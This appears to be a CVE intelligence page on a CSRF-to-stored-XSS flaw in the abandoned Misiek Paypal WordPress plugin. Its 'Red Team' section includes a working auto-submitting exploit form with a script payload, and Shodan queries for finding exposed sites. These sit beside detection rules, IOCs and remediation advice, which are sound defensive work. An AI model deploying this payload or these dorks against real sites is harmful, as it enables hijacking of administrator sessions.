☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-7861

CVE-2024-7861 Cross-Site Request Forgery in Misiek
📅 PUBLISHED: 2024-09-12 06:00 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-7861 is a Cross-Site Request Forgery (CSRF) vulnerability in the Misiek Paypal WordPress plugin (versions through 1.1.20090324). The plugin fails to implement CSRF tokens in certain administrative actions and also lacks input sanitization and output escaping. This allows an attacker to craft a malicious link or page that, when visited by an authenticated administrator, can force the admin to unknowingly add Stored Cross-Site Scripting (XSS) payloads. The stored XSS can then execute arbitrary JavaScript in the context of other users visiting the affected WordPress admin pages, leading to session hijacking, defacement, or further compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is outdated (last updated in 2009) and is no longer maintained. Users are advised to remove the plugin immediately as no patch is available. The supply chain risk is high due to the lack of updates and the plugin's ability to introduce persistent XSS into the WordPress admin dashboard.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (admin must click a link)
  • Scope: Unchanged
  • Confidentiality Impact: Low (potential data exfiltration via XSS)
  • Integrity Impact: Low (stored XSS payloads)
  • Availability Impact: None

Threat Level: Medium. Exploitation requires social engineering to trick an admin into performing an action, but the impact includes persistent XSS that can affect all admin users.

Deep Dive & Mechanics

The vulnerability resides in the Misiek Paypal plugin's administrative interface. The plugin does not implement CSRF nonces for its settings or action endpoints. Additionally, user-supplied input (e.g., PayPal email, transaction details) is not sanitized before being stored in the database, and output is not escaped when rendered in the admin panel.

Attack Flow:

  1. Attacker crafts a malicious HTML page or email containing a CSRF request to the vulnerable plugin endpoint (e.g., wp-admin/admin-post.php?action=misiek_paypal_update).
  2. The request includes a payload like <script>alert('XSS')</script> in a parameter that is stored in the database.
  3. The attacker sends the link to a logged-in WordPress admin.
  4. The admin's browser executes the request, and the payload is stored.
  5. When the admin (or any other user) visits the plugin's settings page, the stored payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Vulnerable Code (misiek-paypal.php):

// No CSRF check
if (isset($_POST['update'])) {
    update_option('misiek_paypal_email', $_POST['paypal_email']); // No sanitization
}
// Output without escaping
echo '<input type="text" name="paypal_email" value="' . get_option('misiek_paypal_email') . '" />';

Patched Code (Hypothetical):

// Add CSRF check
if (isset($_POST['update']) && wp_verify_nonce($_POST['_wpnonce'], 'misiek_paypal_update')) {
    update_option('misiek_paypal_email', sanitize_email($_POST['paypal_email']));
}
// Escape output
echo '<input type="text" name="paypal_email" value="' . esc_attr(get_option('misiek_paypal_email')) . '" />';

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress installation with the Misiek Paypal plugin (version <= 1.1.20090324) activated.
  • An admin user session.

Exploit Steps:

  1. Create a malicious HTML file (csrf_exploit.html):
<html>
<body>
<form action="http://target/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="misiek_paypal_update" />
    <input type="hidden" name="paypal_email" value="attacker@evil.com<script>alert('XSS')</script>" />
    <input type="submit" value="Click me" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
  1. Host the file on an attacker-controlled server.
  2. Send the link to the admin (e.g., via email or social engineering).
  3. Once the admin visits the link, the CSRF request is sent, and the XSS payload is stored.
  4. The payload executes when the admin visits the plugin settings page.

Blue Team

Detection:

  • Monitor for unusual POST requests to admin-post.php with action misiek_paypal_update from non-admin IPs.
  • Look for unexpected changes to the misiek_paypal_email option in the database.
  • Use WAF rules to block requests containing <script> tags in POST parameters.

Hunting:

  • Query the database for stored XSS patterns in wp_options where option_name = misiek_paypal_email.
  • Review server logs for CSRF-like patterns (e.g., missing Referer header).

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/misiek-paypal/misiek-paypal.php
  • Database Entry: wp_options table with option_name = misiek_paypal_email containing JavaScript payloads.
  • Network: POST requests to /wp-admin/admin-post.php with action=misiek_paypal_update and suspicious parameters.
  • Logs: Access logs showing admin-post.php requests with unusual Referer headers.

Detection Engineering

YARA Rule

rule CVE_2024_7861_Misiek_Paypal_CSRF_XSS {
    meta:
        description = "Detects Misiek Paypal plugin files vulnerable to CSRF and Stored XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7861"
    strings:
        $vuln_func = "update_option('misiek_paypal_email'" nocase
        $no_nonce = "wp_verify_nonce" nocase
        $no_escape = "esc_attr" nocase
    condition:
        $vuln_func and not $no_nonce and not $no_escape
}

Sigma Rule

title: CVE-2024-7861 Misiek Paypal CSRF to Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects CSRF attempts targeting the Misiek Paypal plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query: 'action=misiek_paypal_update'
    condition: selection
falsepositives:
    - Legitimate admin updates (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-7861 Misiek Paypal CSRF Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"action=misiek_paypal_update"; http_client_body;
    pcre:"/<script[^>]*>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-7861;
)

Remediation & Mitigation

Immediate Actions:

  1. Remove the plugin: Deactivate and delete the Misiek Paypal plugin from all WordPress installations.
  2. Scan for XSS: Check the wp_options table for any stored malicious payloads in misiek_paypal_email and remove them.
  3. Rotate admin credentials: If any admin session was compromised, rotate all admin passwords and session tokens.

Long-term Mitigation:

  • Implement a Web Application Firewall (WAF) with rules to block CSRF and XSS attempts.
  • Enforce the use of CSRF tokens in all admin actions via custom code or security plugins.
  • Regularly audit and update all WordPress plugins.

Patch Status: UNKNOWN / UNPATCHED. No official patch is available. The plugin is abandoned.


Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/misiek-paypal"
http.html:"Misiek Paypal"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-7861/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.